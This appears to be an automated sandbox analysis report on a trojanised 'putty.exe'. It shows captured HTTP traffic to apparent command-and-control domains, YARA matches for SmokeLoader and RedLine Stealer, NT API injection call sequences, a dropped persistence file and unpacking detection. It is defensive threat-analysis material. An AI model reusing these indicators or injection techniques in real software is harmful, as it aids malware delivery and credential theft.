68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Source: explorer.exe, 00000002.00000000.2167378082.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2167378082.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000000.2161750223.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: explorer.exe, 00000002.00000000.2167378082.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2167378082.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000000.2167378082.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2167378082.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000002.00000000.2167378082.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2167378082.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.2167378082.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.2166756581.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2166091631.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2166717992.0000000008870000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000002.00000000.2170453754.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000002.00000000.2169811038.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000002.00000000.2164199732.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.2167378082.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.2164199732.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.2162348523.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000002.00000000.2169811038.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000002.00000000.2167378082.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000002.00000000.2167378082.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 4.3.hajefwb.890000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.880e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.putty.exe.950000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2110499167.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2388445359.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	0_2_00402F8F
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004013BF
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00401412 NtAllocateVirtualMemory,	0_2_00401412
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013CA NtAllocateVirtualMemory,	0_2_004013CA
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014D3
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013D9 NtAllocateVirtualMemory,	0_2_004013D9
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013E0 NtAllocateVirtualMemory,	0_2_004013E0
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013F0 NtAllocateVirtualMemory,	0_2_004013F0
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004013F4 NtAllocateVirtualMemory,	0_2_004013F4
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F7
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014B5
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	4_2_00402F8F
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004013BF
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00401412 NtAllocateVirtualMemory,	4_2_00401412
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013CA NtAllocateVirtualMemory,	4_2_004013CA
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014D3
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013D9 NtAllocateVirtualMemory,	4_2_004013D9
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013E0 NtAllocateVirtualMemory,	4_2_004013E0
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013F0 NtAllocateVirtualMemory,	4_2_004013F0
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004013F4 NtAllocateVirtualMemory,	4_2_004013F4
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014F7
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014B5

Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0041E7A0	0_2_0041E7A0
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00421B7C	0_2_00421B7C
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00420723	0_2_00420723
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004201DF	0_2_004201DF
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0041FC9B	0_2_0041FC9B
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_0041E7A0	4_2_0041E7A0
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00421B7C	4_2_00421B7C
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00420723	4_2_00420723
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004201DF	4_2_004201DF
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_0041FC9B	4_2_0041FC9B

Source: putty.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/2@3/2

Source: C:\Users\user\Desktop\putty.exe

Code function: 0_2_0084CB80 CreateToolhelp32Snapshot,Module32First,

0_2_0084CB80

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hajefwb

Jump to behavior

Source: putty.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\putty.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: putty.exe	Virustotal: Detection: 37%
Source: putty.exe	ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\putty.exe "C:\Users\user\Desktop\putty.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hajefwb C:\Users\user\AppData\Roaming\hajefwb
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hajefwb C:\Users\user\AppData\Roaming\hajefwb

Source: C:\Users\user\Desktop\putty.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\putty.exe	Unpacked PE file: 0.2.putty.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\hajefwb	Unpacked PE file: 4.2.hajefwb.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00401068 push ebp; iretd	0_2_0040106E
